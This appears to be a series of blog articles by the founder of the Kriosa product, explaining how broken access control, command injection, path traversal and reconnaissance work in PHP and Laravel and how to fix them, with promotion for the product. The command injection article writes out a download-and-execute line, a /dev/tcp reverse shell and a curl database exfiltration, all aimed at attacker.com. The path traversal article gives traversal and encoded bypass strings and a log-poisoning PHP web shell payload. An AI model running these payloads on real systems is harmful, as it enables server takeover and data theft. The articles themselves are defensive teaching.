$user->update([
    'name'  => $request->name,
    'email' => $request->email,
    'role'  => $request->role  // attacker sends role=admin
]);

If role is not protected from mass assignment an attacker updates their own role to admin through a standard profile update form.

4. Forced Browsing

An attacker directly accesses URLs that should be restricted:

/admin/users          — protected correctly
/admin/export-users   — developer forgot to protect this one

The attacker discovers /admin/export-users and downloads your entire user database. No exploit needed. Just a URL the developer forgot to add middleware to.

How Laravel Handles Authorization

1. Middleware — Who Can Access This Route

Route::middleware(['auth'])->group(function () {
    Route::get('/dashboard', [DashboardController::class, 'index']);
});

Route::middleware(['auth', 'can:access-admin'])->group(function () {
    Route::get('/admin', [AdminController::class, 'index']);
    Route::post('/admin/delete-user', [AdminController::class, 'deleteUser']);
});

The critical rule: every route that requires any form of access restriction must be inside the correct middleware group. Adding a new route outside the group — especially API routes — is how function-level access control vulnerabilities appear.

Good authorization prevents unauthorized access but it does not tell you when someone is actively searching for authorization weaknesses. Kriosa analyzes incoming requests for behaviors such as resource enumeration, repeated authorization failures, and suspicious access patterns that often precede a successful exploit.

The gap middleware does not fill: middleware checks who the user is and what permissions they have. It does not check whether this specific user owns this specific resource. For that you need gates or policies.

2. Gates — Can This User Perform This Action

// app/Providers/AuthServiceProvider.php
Gate::define('edit-post', function (User $user, Post $post): bool {
    return $user->id === $post->user_id;
});

// In your controller
public function edit(Post $post)
{
    Gate::authorize('edit-post', $post);
    return view('posts.edit', compact('post'));
}

If the gate returns false Laravel handles the 403 response automatically.

3. Policies — Organized Authorization for Models

php artisan make:policy InvoicePolicy --model=Invoice

// app/Policies/InvoicePolicy.php
class InvoicePolicy
{
    public function view(User $user, Invoice $invoice): bool
    {
        return $user->id === $invoice->user_id;
    }

    public function update(User $user, Invoice $invoice): bool
    {
        return $user->id === $invoice->user_id;
    }

    public function delete(User $user, Invoice $invoice): bool
    {
        return $user->id === $invoice->user_id
            || $user->isAdmin();
    }
}

// In your controller
public function show(Invoice $invoice)
{
    $this->authorize('view', $invoice);
    return view('invoices.show', compact('invoice'));
}

4. Form Requests — Authorization in Larger Applications

public function authorize(): bool
{
    return $this->user()->can('update', $this->invoice);
}

The IDOR Fix — Three Approaches

Approach 1 — Policy authorization:

// Dangerous — only checks authentication
public function show(Invoice $invoice)
{
    return view('invoices.show', compact('invoice'));
}

// Safe — checks ownership through policy
public function show(Invoice $invoice)
{
    $this->authorize('view', $invoice);
    return view('invoices.show', compact('invoice'));
}

Approach 2 — Scoped queries:

// This can never return another user's invoice
public function show(int $id)
{
    $invoice = auth()->user()->invoices()->findOrFail($id);
    return view('invoices.show', compact('invoice'));
}

Approach 3 — Scoped route model binding (strongest):

Route::get(
    '/users/{user}/invoices/{invoice}',
    InvoiceController::class
)->scopeBindings();

This automatically ensures the invoice belongs to the specified user without any manual ownership check in the controller.

Protecting Against Mass Assignment Privilege Escalation

// app/Models/User.php
protected $fillable = [
    'name',
    'email',
    'password',
    // role and is_admin are NOT here
];

Or blacklist instead:

protected $guarded = ['role', 'is_admin', 'permissions'];

Pick one approach and stick to it. Never include role, is_admin, or permissions in $fillable.

API Routes and Authorization

API routes are the most common place authorization is forgotten:

Route::middleware(['auth:sanctum'])->group(function () {
    Route::get('/invoices/{invoice}', function (Invoice $invoice) {
        $this->authorize('view', $invoice);
        return response()->json($invoice);
    });
});

Being authenticated via Sanctum does not mean the user is authorized to access this specific invoice. The ownership check is required on every API endpoint that returns user-specific data.

Cleaner with scoped route model binding:

Route::get(
    '/users/{user}/invoices/{invoice}',
    [InvoiceApiController::class, 'show']
)->scopeBindings()->middleware('auth:sanctum');

The Authorization Checklist

For every route in your application ask these questions:

Is this route inside the correct middleware group?
Does every API route have the same authorization as its web equivalent?
For routes that return a specific resource — is there an ownership check via policy, gate, or scoped query?
Are sensitive fields like role and is_admin excluded from $fillable?
Are admin-only functions inside admin middleware — including API endpoints added later?
Does your application use policies for resource-level authorization rather than ad-hoc checks scattered across controllers?
Have you considered scoped route model binding for nested resources?

If any of these questions has no clear answer in your code — you have a broken access control vulnerability waiting to be found.

Where Detection Fits

Broken access control attacks are harder to detect than SQL injection or XSS because the requests themselves look legitimate. An authenticated user accessing /invoices/1235 when they own /invoices/1234 sends a request that looks completely normal at the HTTP layer.

What is detectable is the pattern:

Rapid sequential requests to the same resource type with incrementing IDs
Multiple 403 Forbidden responses from the same authenticated account
Access attempts to resources owned by different users
Requests to privileged endpoints from accounts without the required permissions

This is exactly where Kriosa fits into the security stack. Laravel policies, gates, and middleware prevent unauthorized actions. Kriosa complements those controls by monitoring incoming requests for behavioral indicators of authorization probing — sequential ID enumeration, repeated 403 responses, and attempts to access privileged endpoints. Instead of simply blocking requests, its Explainable AI dashboard shows why a request was considered suspicious, helping developers understand what attackers are trying to do.

Prevention stops the breach. Detection tells you someone is trying to find one.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app and what to hide
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: This article — broken access control in Laravel and why being logged in is not enough

Command Injection in PHP — When exec() Becomes an Attack Surface

Nchiminyi — Founder, Kriosa — Fri, 31 Jul 2026 12:45:44 +0000

Orinally published on Medium and Kriosa
One unsanitized argument reaching a shell function is all an attacker needs to own your server. Here's how command injection works, why blacklist filters always fail, and the fixes that actually stop it.
This is the ninth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application

Every article in this series follows the same principle: understand the attack before you try to stop it.

Command injection is no different. And it is the most severe vulnerability in this series — because it does not just expose your data. It hands an attacker the keys to your entire server.

What Command Injection Actually Is

Command injection is an attack where an attacker injects operating system commands into your application and your server executes them.

It is similar in structure to SQL injection — user input gets interpreted as a command instead of data. But the consequences are more immediate and more severe. SQL injection attacks your database. Command injection attacks your entire server.

One unsanitized argument. One shell function. Full server takeover.

Why PHP Is Particularly Exposed

PHP has several functions that execute operating system commands directly:

exec()
shell_exec()
system()
passthru()
popen()
proc_open()
// And the backtick operator
`command`

These functions exist for legitimate reasons — generating image thumbnails, converting file formats, sending emails via sendmail, running system utilities. The problem is when user input reaches them without sanitization.

The Attack in Plain Terms

Your application converts uploaded images:

$filename = $_GET['file'];
$output = shell_exec('convert ' . $filename . ' -resize 800x600 output.jpg');

A legitimate user sends:

file=photo.jpg

The command becomes:

convert photo.jpg -resize 800x600 output.jpg

Clean. Expected. Safe.

An attacker sends:

file=photo.jpg; cat /etc/passwd

The command becomes:

convert photo.jpg -resize 800x600 output.jpg; cat /etc/passwd

The semicolon tells the shell: run the first command, then run the second. Your server outputs the contents of /etc/passwd. The attacker now knows every user account on the system.

That is command injection. One semicolon. One unsanitized input. Complete information disclosure.

The Command Chaining Characters

Attackers use several characters to chain commands:

; — run command1 then command2
&& — run command2 only if command1 succeeds
|| — run command2 only if command1 fails
| — pipe output of command1 into command2
command — backtick executes command inline
$(command) — subshell execution
\n — newline separates commands in some contexts
Each works differently. All achieve the same result — injecting additional commands into your shell execution.

What Attackers Do After Getting Command Execution

Once an attacker has command execution they move fast.

Read sensitive files:

cat /var/www/.env
cat /etc/shadow
cat ~/.ssh/id_rsa

Download and execute malware:

wget https://attacker.com/malware.sh -O /tmp/m.sh && chmod +x /tmp/m.sh && /tmp/m.sh

Open a reverse shell — persistent access:

bash -i >& /dev/tcp/attacker.com/4444 0>&1

This opens a persistent connection from your server to the attacker's machine. They type commands on their end. Your server executes them. They now have an interactive terminal on your server — from anywhere in the world.

Exfiltrate your entire database:

mysqldump -u root -pPASSWORD database | curl -X POST attacker.com/receive -d @-

All of this from one unsanitized input reaching shell_exec().

The PHP Functions That Create This Risk

Image processing:

// Dangerous
$file = $_POST['filename'];
shell_exec('convert ' . $file . ' thumbnail.jpg');

PDF generation:

// Dangerous
$url = $_GET['url'];
shell_exec('wkhtmltopdf ' . $url . ' output.pdf');

Network diagnostic tools:

// Dangerous
$host = $_GET['host'];
$result = shell_exec('ping -c 4 ' . $host);
echo $result;

Ping tools are one of the most common places command injection appears in PHP applications. Developers build a network diagnostic feature and forget the host parameter goes directly into a shell command.

ZIP file creation:

// Dangerous
$name = $_POST['archive_name'];
shell_exec('zip -r ' . $name . '.zip /var/www/storage/uploads/');

The Wrong Fixes

Wrong fix 1 — Filtering specific characters:

$file = str_replace(';', '', $_POST['filename']);
shell_exec('convert ' . $file . ' thumbnail.jpg');

The attacker uses && instead of ;. Bypassed instantly.

Wrong fix 2 — Blacklisting known bad characters:

$badChars = [';', '&&', '||', '|', '`'];
foreach ($badChars as $char) {
    if (strpos($_POST['filename'], $char) !== false) {
        die('Invalid input');
    }
}

The attacker uses $() subshell syntax or a newline character. Bypassed.

Blacklist-based filters always fail for command injection for the same reason they fail for SQL injection and XSS — the number of ways to represent shell metacharacters is effectively unlimited. You are playing catch-up against an attacker who has infinite variations. You cannot win that game.

The Correct Fixes

Fix 1 — escapeshellarg() for user-supplied values

escapeshellarg() wraps a value in single quotes and escapes any single quotes within it. This forces the shell to treat the entire value as a single argument — not as a command:

// Safe
$file = escapeshellarg($_POST['filename']);
shell_exec('convert ' . $file . ' -resize 800x600 output.jpg');

If the attacker sends photo.jpg; cat /etc/passwd the function produces:
'photo.jpg; cat /etc/passwd'
The shell treats the semicolon as part of the filename string — not as a command separator. The injection fails.

Use escapeshellarg() for every individual user-supplied argument that reaches a shell function. It is the most important single function in PHP for command injection prevention.

Fix 2 — escapeshellcmd() for the full command

escapeshellcmd() escapes shell metacharacters in a complete command string. It is less targeted than escapeshellarg() and should not be used as a substitute for escaping individual arguments.

The correct pattern is: use escapeshellarg() on each user-supplied value, and optionally use escapeshellcmd() on the full command string as an additional layer.

Fix 3 — Avoid shell functions entirely

The strongest fix is not calling shell commands at all. Most things developers use shell commands for have PHP library alternatives:

Instead of calling ImageMagick via shell:

// Dangerous
shell_exec('convert ' . $file . ' thumbnail.jpg');

// Safe — PHP's Imagick extension
$imagick = new Imagick($file);
$imagick->resizeImage(800, 600, Imagick::FILTER_LANCZOS, 1);
$imagick->writeImage('thumbnail.jpg');

Instead of calling zip via shell:

// Dangerous
shell_exec('zip -r archive.zip ' . $directory);

// Safe — PHP's ZipArchive
$zip = new ZipArchive();
$zip->open('archive.zip', ZipArchive::CREATE);
$zip->addFile($filepath, basename($filepath));
$zip->close();

If PHP has a native library for what you need — use it. Shell commands should be a last resort.

Fix 4 — Array-based process execution

When you must run external commands pass arguments as an array rather than a string. When PHP receives an array it passes arguments directly to the operating system without invoking a shell interpreter. No shell means no shell metacharacter parsing. No parsing means no injection.

// Dangerous — string goes through shell
shell_exec('convert ' . $file . ' output.jpg');

// Safe — array bypasses shell entirely
$process = proc_open(
    ['convert', $file, '-resize', '800x600', 'output.jpg'],
    [1 => ['pipe', 'w'], 2 => ['pipe', 'w']],
    $pipes
);

The difference is fundamental. A string command goes through /bin/sh which interprets every metacharacter. An array command goes directly to the kernel which treats every element as a literal argument.

Fix 5 — Whitelist before any shell call

If you must use shell commands with user input validate against a strict whitelist before the input reaches any shell function:

$allowedFiles = ['photo1.jpg', 'photo2.jpg', 'photo3.jpg'];
$file = $_POST['filename'];

if (!in_array($file, $allowedFiles, true)) {
    die('Invalid file.');
}

shell_exec('convert ' . escapeshellarg($file) . ' thumbnail.jpg');

Whitelist first. Escape second. Both layers together.

Laravel and Command Injection

Laravel 10+ provides a Process facade for running external processes safely:

use Illuminate\Support\Facades\Process;

// Safe — array arguments bypass shell interpretation
$result = Process::run(['convert', $filename, '-resize', '800x600', 'output.jpg']);

if ($result->successful()) {
    // process the output
}

When you pass an array of arguments the Process facade passes them directly to the operating system without going through a shell interpreter. Shell metacharacters in arguments have no effect because there is no shell parsing them.

This is the correct way to run external commands in Laravel. No shell string. No injection risk.

The disable_functions Safety Net

PHP's php.ini allows you to disable dangerous functions entirely:

; php.ini
disable_functions = exec,shell_exec,system,passthru,popen,proc_open

If your application does not need to execute shell commands — and most do not — disable these functions at the server level. An attacker who finds an injection point cannot exploit it if the function does not exist.

This is a server-level safety net. It does not replace code-level fixes but limits damage if a vulnerability exists.

The Command Injection Prevention Checklist

For plain PHP:

Never concatenate user input directly into shell command strings
Use escapeshellarg() on every user-supplied argument before it reaches a shell function
Use array-based process execution with proc_open() instead of string commands where possible
Use PHP native libraries instead of shell commands wherever they exist
Validate user input against a strict whitelist before any shell call
Disable unused shell functions in php.ini with disable_functions
Never rely on blacklist-based character filtering for command injection prevention

For Laravel:

Use the Process facade with array arguments — never string commands
Validate and whitelist any user-supplied values before passing to Process
Disable shell functions in php.ini if your application does not need them
Use Laravel's native file handling, image processing, and archive libraries before reaching for shell commands

What Was Hitting a Live PHP App Last Week

Last week Kriosa blocked 306 attacks on a live PHP application. Several of those were command injection probes — automated scanners sending payloads that appended system information commands, file-reading operations, and subshell expressions in file parameters, URL fields, and form inputs.

Here is what one of those attempts looked like in the Kriosa dashboard:

![Command injection is one of the most dangerous vulnerabilities in PHP because a single unsanitized argument reaching a shell function can lead to full server compromise.

In this article, you'll learn:

What command injection is and how it works
Why functions like exec(), shell_exec(), system(), and passthru() are high risk
Common attack techniques and real-world vulnerable code patterns
Why blacklist-based filtering fails
How to prevent command injection with escapeshellarg(), escapeshellcmd(), input validation, and safer alternatives
Secure approaches for both plain PHP and Laravel applications
A practical prevention checklist you can apply immediately

Whether you're building PHP applications from scratch or maintaining Laravel projects, understanding command injection is essential to protecting your applications from one of the most severe classes of web vulnerabilities.

Feedback, questions, and alternative approaches are always welcome in the comments.
](https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/s063bttr5v19w8d34e9k.png)

The dashboard shows not just that the request was blocked — but why. Which features of the request triggered the ML model. What the confidence score was. What attack category it matched.

Most middleware block silently. Kriosa shows you the reasoning.

If you are running a PHP or Laravel app right now, the same automated scanners that hit this application are hitting yours. The question is whether you can see it when it happens.

Try it free: kriosa.com

Install it with Composer, then drop this in at the top of your entry point:

<?php
// After Composer installation
require_once 'vendor/autoload.php';
$apiKey = getenv('KRIOSA_API_KEY') ?: 'YOUR_API_KEY_HERE';
try {
    $kriosa = new Kriosa($apiKey, [
        'timeout'     => 3,
        'debug'       => false,
        'fail_closed' => false,
        'show_badge'  => true,
    ]);
    if (!$kriosa->protect()) {
        header('X-Kriosa-Blocked: true');
        http_response_code(403);
        exit('Access Denied');
    }
} catch (Exception $e) {
    error_log('Kriosa Security Error: ' . $e->getMessage());
}
// Your application continues safely...

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Series So Far

What your PHP logs actually look like during a SQL injection attack
Why URL encoding can break PHP security checks
The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Parameterized queries — the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app and what to hide
File upload security in PHP and Laravel
Path traversal in PHP — how ../ escapes your application
This article — command injection in PHP and when exec() becomes an attack surface.

Path Traversal in PHP — How `../` Escapes Your Application

Nchiminyi — Founder, Kriosa — Tue, 28 Jul 2026 07:02:00 +0000

Originally published on Medium
One unsanitized file path is all an attacker needs to read your database credentials, your SSH keys, or your entire codebase.

This is the eighth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security the file that isn't what it claims to be

Every article in this series follows the same principle understand the attack before you try to stop it.

Path traversal is no different. And it is one of the most quietly dangerous vulnerabilities in PHP applications because it hides inside features that look completely legitimate file downloads, template loading, document viewers.

What Path Traversal Actually Is

Path traversal is an attack where an attacker manipulates a file path to access files outside the directory your application intended to serve.

The attack uses ../ which in any operating system means "go up one directory level." By chaining multiple ../ sequences an attacker climbs up the directory tree and accesses files your application was never supposed to touch.

It does not require a login. It does not require special tools. It requires one unsanitized file path and a browser.

The Attack in Plain Terms

Your application has a file download feature:

$filename = $_GET['file'];
$filepath = '/var/www/storage/files/' . $filename;
readfile($filepath);

A legitimate user sends:

file=document1.pdf

The path becomes:

/var/www/storage/files/document1.pdf

Clean. Expected. Safe.

An attacker sends:

file=../../config/database.php

The path becomes:

/var/www/storage/files/../../config/database.php

Which resolves to:

/var/www/config/database.php

Your database credentials just left the server.

Going Further Up the Tree

An attacker does not stop at your application directory. They keep climbing:

file=../../../etc/passwd

Resolves to:

/etc/passwd

On Unix-like systems, /etc/passwd is typically world-readable and lists local user accounts. From there an attacker maps users, identifies privilege levels, and plans their next move.

More dangerous targets:

../../../var/www/.env              — your Laravel environment file
../../../proc/self/environ         — server environment variables
../../../var/log/apache2/access.log — server access logs
../../../home/ubuntu/.ssh/id_rsa   — SSH private key

Each one of these is a complete breach on its own.

How Attackers Bypass Basic Filters

You already know about URL encoding from article 2. Attackers use it here too.

A simple filter that strips ../ gets bypassed immediately:

// This fails
$filename = str_replace('../', '', $_GET['file']);

An attacker sends ....//. After stripping ../ from the middle it becomes ../. The traversal still works. The filter protected nothing.

Encoded variations bypass strpos checks:

%2e%2e%2f       — URL encoded ../
%2e%2e/         — partially encoded
..%2f           — partially encoded
%2e%2e%5c       — Windows path separator
....//          — double sequence evasion

A check looking for the literal string ../ misses every one of these. This is why string-based filters always fail for path traversal they match representations, not what the path actually resolves to.

The Four PHP Functions Most Vulnerable to Path Traversal

1. readfile()

readfile('/var/www/storage/files/' . $_GET['file']);

Reads and outputs file content directly. An attacker reads any file the web server user has permission to access.

2. file_get_contents()

$content = file_get_contents('/var/www/templates/' . $_GET['template']);

Returns file content as a string. Same risk as readfile() any readable file on the system is accessible.

3. include() and require()

include('/var/www/views/' . $_GET['page'] . '.php');

This is the most dangerous case. Not only can the attacker read files if they can get PHP code into a readable file first and then include it, they achieve Remote Code Execution. This chained attack is called Local File Inclusion and it turns a read vulnerability into a full server takeover.

4. fopen()

$handle = fopen('/var/www/uploads/' . $_GET['filename'], 'r');

Opens a file handle for reading. Same risk as readfile().

Path Traversal vs Local File Inclusion

These two terms are related but describe different levels of severity.

Path traversal is the ability to read files outside the intended directory. The attacker reads your .env file, your database config, your SSH keys. Serious damage. Confidential data exposed.

Local File Inclusion happens when path traversal is combined with include() or require(). The attacker does not just read files they execute PHP code. This turns a bad vulnerability into a complete server takeover.

The LFI attack chain works like this:

An attacker knows your server logs User-Agent headers. They send a request with a PHP payload as their User-Agent:

User-Agent: <?php system($_GET['cmd']); ?>

This gets written into your server access log at:

/var/log/apache2/access.log

Now they use path traversal to include the log file:

page=../../../var/log/apache2/access.log

Your server executes the PHP code that was injected into the log. Whether this succeeds depends on the server configuration, log file permissions, and how the application includes the file.

This is why include() with user-controlled input is one of the most dangerous patterns in PHP. Path traversal reads files. LFI executes them.

The Wrong Fixes

Wrong fix 1 — Stripping ../:

$filename = str_replace('../', '', $_GET['file']);

An attacker sends ....//. After stripping ../ it becomes ../. Bypassed.

Wrong fix 2 — Checking for ../ with strpos:

if (strpos($_GET['file'], '../') !== false) {
    die('Invalid path');
}

An attacker sends %2e%2e%2f. Your check never sees ../. Bypassed.

Wrong fix 3 — Using basename() alone:

$filename = basename($_GET['file']);
readfile('/var/www/storage/files/' . $filename);

basename() strips directory components and returns only the filename. This prevents traversal but breaks any feature that serves files from subdirectories. It works for flat file structures but is not a complete solution. basename() should be viewed as an additional safeguard, not a replacement for proper path validation.

The Correct Fixes

Fix 1 — realpath() validation

realpath() resolves the actual absolute path after processing all ../ sequences and symbolic links. By the time realpath() is called, PHP has already received the decoded path from the HTTP request. realpath() then resolves the resulting filesystem path, eliminating . and .. segments and resolving symbolic links.

$baseDir = realpath('/var/www/storage/files');
$requestedPath = realpath($baseDir . '/' . $_GET['file']);

if ($requestedPath === false) {
    http_response_code(404);
    die('File not found.');
}

if (strpos($requestedPath, $baseDir . DIRECTORY_SEPARATOR) !== 0) {
    http_response_code(403);
    die('Access denied.');
}

readfile($requestedPath);

Why this works:

realpath() resolves the full path including any ../ sequences
If the file does not exist realpath() returns false caught immediately
strpos($requestedPath, $baseDir . DIRECTORY_SEPARATOR) checks that the resolved path still starts with your intended base directory
If it does not the traversal moved outside the allowed directory access is denied
DIRECTORY_SEPARATOR ensures the check works correctly on both Linux and Windows systems

Fix 2 — Whitelist approach

For a known set of files never accept a filename from user input at all. Accept an identifier and map it to a filename in your code:

$allowedFiles = [
    'invoice'  => 'invoice_template.pdf',
    'receipt'  => 'receipt_template.pdf',
    'contract' => 'contract_template.pdf',
];

$fileKey = $_GET['file'] ?? '';

if (!array_key_exists($fileKey, $allowedFiles)) {
    http_response_code(404);
    die('File not found.');
}

$filepath = '/var/www/storage/files/' . $allowedFiles[$fileKey];
readfile($filepath);

The attacker never controls any part of the file system path. They send file=invoice and your code looks up the mapping. No traversal is possible because user input never touches the path directly.

This is the strongest fix when you have a known set of files. Use it wherever possible.

Fix 3 — PHP open_basedir

PHP has a configuration directive that restricts which directories PHP is allowed to access:

; php.ini
open_basedir = /var/www/storage/files/:/tmp/

With this configured any attempt to access a file outside the specified directories produces a PHP error even if the traversal successfully constructs the path. This is a server-level safety net that limits damage if application-level validation fails.

It does not replace application validation. It is an additional layer underneath it.

Laravel Path Traversal

Laravel's Storage facade provides a safer abstraction for file operations, but user-controlled paths should still be validated and authorized:

// Safer — Storage facade reduces common mistakes
$content = Storage::disk('local')->get($filename);

But raw PHP file functions bypass this protection completely:

// Dangerous — raw function with user input
$content = file_get_contents(storage_path($filename));

And Laravel's response helpers pass paths directly to PHP you must validate before calling them:

// Validate before passing to response()
$baseDir = realpath(storage_path('app/files'));
$requestedPath = realpath(storage_path('app/files/' . $filename));

if (!$requestedPath || strpos($requestedPath, $baseDir . DIRECTORY_SEPARATOR) !== 0) {
    abort(404);
}

return response()->file($requestedPath);

The Storage facade helps reduce common mistakes, but it does not remove the need to validate and authorize user-controlled paths. Raw PHP file functions require the same care.

The Path Traversal Prevention Checklist

For plain PHP:

Never concatenate user input directly into file paths
Use realpath() to resolve paths and validate they stay within the intended base directory
Use DIRECTORY_SEPARATOR in path comparisons for cross-platform safety
Use the whitelist approach whenever you have a known set of files
Configure open_basedir in php.ini as a server-level safety net
Never use include() or require() with user-controlled input
Use basename() as an additional safeguard for flat file structures — not as a replacement for proper path validation

For Laravel

Use the Storage facade for file operations it provides a safer abstraction
Validate paths with realpath() before passing to response()->file() or response()->download()
Never pass user input directly to storage_path(), public_path(), or base_path()
Validate and authorize user-controlled paths even when using the Storage facade
Use Laravel's authorization layer to control which users can access which files

Where Detection Fits

Path traversal attempts produce distinctive request patterns. Requests containing ../ sequences, URL-encoded traversal strings like %2e%2e, repeated requests probing different directory depths, and requests targeting known sensitive file locations like .env, passwd, and id_rsa are all behavioral signals that distinguish automated scanning tools from legitimate users.

These patterns appear in your request logs before a successful traversal ever occurs. A security layer that monitors for these patterns gives you visibility into probing activity before it turns into a breach.

Prevention stops the traversal. Detection tells you someone is looking for one.

Both layers together.

"To put this in concrete terms Kriosa blocked 306 attacks on a live PHP application in a single week including path traversal attempts where automated scanners were sending ../../../etc/passwd and ../../../var/www/.env in request parameters. These were not targeted attacks. They were automated tools probing every PHP app they could find."

Try it free: kriosa.com

Install it: composer require kriosa-ai/kriosa-php

see documentation for intergration kriosa.com/documentation.php
**
Built for PHP and Laravel developers who want to understand their security - not just outsource it.
Sleep better we're awake - kriosa**

How Attackers Enumerate Your Laravel App — And What to Hide Before They Map Your Entire Backend

Nchiminyi — Founder, Kriosa — Tue, 21 Jul 2026 19:00:00 +0000

Originally published on medium
Before an attacker exploits your app they study it. Here is what they are looking for and how to stop them finding it.

This is the sixth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked

Every article in this series follows the same principle: understand the attack before you try to stop it.

Reconnaissance is no different. And it is the step most developers never think about.

What Reconnaissance Actually Is

Before an attacker exploits your Laravel application they study it.

They are not guessing blindly. They are systematically collecting information that tells them what framework and version you are running, what routes exist, what errors your app produces, what files are publicly accessible, and where your admin panel lives.

This phase is called reconnaissance. And most Laravel apps make it embarrassingly easy.

The attacker does not need to find a vulnerability to do damage at this stage. They just need your app to answer questions it should never be answering.

What Attackers Are Looking For

1. Debug Mode Left On in Production

This is the single most dangerous information disclosure mistake in Laravel.

When APP_DEBUG=true in your production environment, Laravel shows a full stack trace on every error. That stack trace includes your full file system paths, your environment variables, your database connection details, your application code, and every variable in scope at the point of failure.

An attacker who triggers any error on your application a 404, a validation failure, a missing parameter gets a complete map of your server.

Check your production .env file right now:

APP_DEBUG=false
APP_ENV=production

These two lines are not optional. They are the minimum baseline for any Laravel app handling real user data.

2. Exposed .env Files

Your .env file contains your database credentials, API keys, mail server passwords, payment gateway secrets, and application encryption key. It lives in your project root.

If your web server is misconfigured, this file is publicly accessible:

https://yoursite.com/.env

An attacker who reads your .env file may gain access to database credentials, API keys, application secrets, and other sensitive configuration depending on what is stored there.

This is not theoretical. Automated scanners probe every Laravel site they find for exposed .env files within minutes of the site going live. It is one of the first checks they run automatically.

3. Exposed .git Directory

If you deployed by cloning a git repository and did not remove the .git directory from your web root:

https://yoursite.com/.git/config

An attacker may be able to reconstruct your source code from exposed Git objects. Your complete application logic. Your commit history. Every credential that was ever accidentally committed.

Tools like GitDumper automate this reconstruction entirely. What took a developer months to build can be downloaded in minutes.

4. Framework and Version Fingerprinting

Default Laravel error pages and responses can reveal framework information if they are not customized. HTTP response headers sometimes include framework and PHP version information. The structure of session cookies, route patterns, and form token names all point to Laravel specifically.

Default server responses often include:

X-Powered-By: PHP/8.1.0
Server: Apache/2.4.41

Once an attacker knows your framework and version they know exactly which known vulnerabilities to check, which default misconfigurations are most common, and which attack patterns are most likely to succeed.

Remove these headers. They are free reconnaissance for anyone watching.

5. Laravel Packages and Developer Tool Routes

Laravel packages and developer tools can expose routes that reveal application internals:

/telescope    — Laravel Telescope debugger
/horizon      — Laravel Horizon queue dashboard
/_debugbar    — Laravel Debugbar

If any of these are accessible in production without authentication, an attacker has a window into your queue jobs, database queries, cache operations, mail logs, and exception details.

These tools are invaluable for development. They are serious vulnerabilities in production if left unprotected.

6. Verbose Error Messages

Even with debug mode disabled, careless error handling reveals too much:

// This tells an attacker your table name exists
// and gives them information about your schema
catch (Exception $e) {
    echo "Error querying users table: " . $e->getMessage();
}

A developer who exposes database table names, column names, or file paths in error messages is doing reconnaissance for the attacker.

The correct approach:

catch (Exception $e) {
    // Log everything internally
    Log::error('Database error: ' . $e->getMessage(), [
        'file' => $e->getFile(),
        'line' => $e->getLine()
    ]);

    // Show nothing useful externally
    return response('Something went wrong. Please try again.', 500);
}

Log the full error internally. Show nothing externally. The user does not need to know what went wrong technically. The attacker definitely should not know.

7. Predictable Admin Routes

Automated scanners probe for common admin panel locations on every site they find:

/admin
/admin/login
/dashboard
/administrator
/panel
/backend
/manage
/cp

If your admin panel is at one of these locations with no rate limiting, no IP restriction, and no additional authentication layer, it is being probed constantly without you knowing.

8. Directory Listing

If your web server has directory listing enabled, an attacker can browse your file structure like a file manager:

https://yoursite.com/storage/
https://yoursite.com/public/uploads/

They see every file you have uploaded. Every log file. Every temporary file. Every backup your application has ever generated.

9. Backup Files Left in Public Directories

Developers sometimes create backup files that end up publicly accessible:

https://yoursite.com/index.php.bak
https://yoursite.com/config.php.old
https://yoursite.com/database.sql
https://yoursite.com/backup.zip

Automated scanners check for hundreds of these patterns on every site they probe. A database backup file left in a public directory is a complete data breach waiting to be discovered.

How Attackers Automate This

Reconnaissance is not done manually by a person sitting at a keyboard.

Automated tools scan millions of sites continuously:

Nikto scans for thousands of known vulnerabilities and misconfigurations
Gobuster brute forces directory and file names against wordlists of thousands of common paths
WhatWeb fingerprints web technologies from response headers and page content
GitDumper reconstructs source code from exposed Git objects automatically

These tools run against every IP address they can find. Your site is being scanned whether you know it or not. The question is not whether reconnaissance is happening it is whether your app is giving the scanners useful answers.

What to Hide — The Complete Checklist

Laravel configuration:

# .env — production settings
APP_ENV=production
APP_DEBUG=false

// config/app.php
'debug' => (bool) env('APP_DEBUG', false),

Restrict developer tool access:

Configure Telescope authorization and ensure the dashboard is restricted to trusted users or IP addresses:

// app/Providers/TelescopeServiceProvider.php
Gate::define('viewTelescope', function ($user) {
    return in_array(request()->ip(), [
        '127.0.0.1',
        // your trusted IP addresses
    ]);
});

Apply the same principle to Horizon and Debugbar both should require authentication or IP restriction before any production deployment.

Block sensitive files at the web server level:

For Nginx:

location ~ /\.(env|git|htaccess) {
    deny all;
    return 404;
}

location ~ \.(bak|old|sql|zip|tar|gz)$ {
    deny all;
    return 404;
}

For Apache:

<FilesMatch "\.(env|git|bak|old|sql|zip)$">
    Order allow,deny
    Deny from all
</FilesMatch>

Remove technology headers:

In php.ini:

expose_php = Off

For Nginx:

server_tokens off;

For Apache:

ServerTokens Prod
ServerSignature Off

Disable directory listing:

For Nginx:

autoindex off;

For Apache:

